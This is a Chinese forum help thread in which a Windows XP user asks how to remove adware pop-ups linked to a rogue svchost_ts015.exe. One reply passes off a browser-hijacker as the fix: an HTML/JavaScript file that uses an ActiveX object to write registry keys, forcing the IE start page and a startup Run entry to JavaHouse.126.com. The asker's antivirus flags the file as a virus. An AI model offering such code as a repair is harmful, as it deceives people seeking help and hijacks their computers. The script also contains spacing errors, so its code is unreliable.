123   2  /  3  页   跳转

[求助]关于SVCHOST.EXE

使用的是WIN2000吗?
gototop
 

WINXP SP2 PRO
gototop
 

以前都好的,就前天被强制安装了DUDU和酷猴搜索以后就有小广告弹出。DUDU和酷猴我都已经卸载了。计划任务也删掉了,可还是有小广告不断的弹出,你不去点它的话,过个几秒钟它会自动消失,然后就周而复始的循环
gototop
 

在运行对话框中输入“regedit.exe”后回车,打开注册表编辑器,使用查找功能,找到“svchost项”,看看是不是“% systemroot%\system32\svchost.exe"。
gototop
 

不是,它是值是C:\WINDOWS\svchost_ts015.exe
gototop
 

不用那么麻烦用3721上网助手或其它工具屏蔽所有可疑插件.
gototop
 

给你看看我的注册表

附件附件:

下载次数:0
文件类型:application/octet-stream
文件大小:
上传时间:2005-9-24 20:02:59
描述:



gototop
 

不用3721
这样做:
在桌面下建立一个名字为test.html的文件,文件内容如下:

<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
try
{
//ActiveX初始化过程(为达到修改用户注册表所必须的准备程序 )
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");< br>a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createI nstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createI nstance();
Net = a1.GetObject();
try
{
if (documents .cookies .indexOf("Chg") == -1)
//以下是检测用户注册表并修改相应的键值
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://JavaHouse.126.com/");//修改用户InternetExplorer浏览器的默认主页
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "http://JavaHouse.126.com/");//建立默认启动页面程序,保证用户每次启动计算机首先打开该页 面
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies ="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);//实现打开页面后1秒钟内执行测试修改注册表的工作
}
init();</SCRIPT>
<!--End set start page -->
gototop
 

我 晕,刚创建好,被瑞星发现是病毒,杀掉了~昏倒!!!
gototop
 

兄弟啊,你不是耍着我玩的吧?
gototop
 
123   2  /  3  页   跳转
页面顶部
Powered by Discuz!NT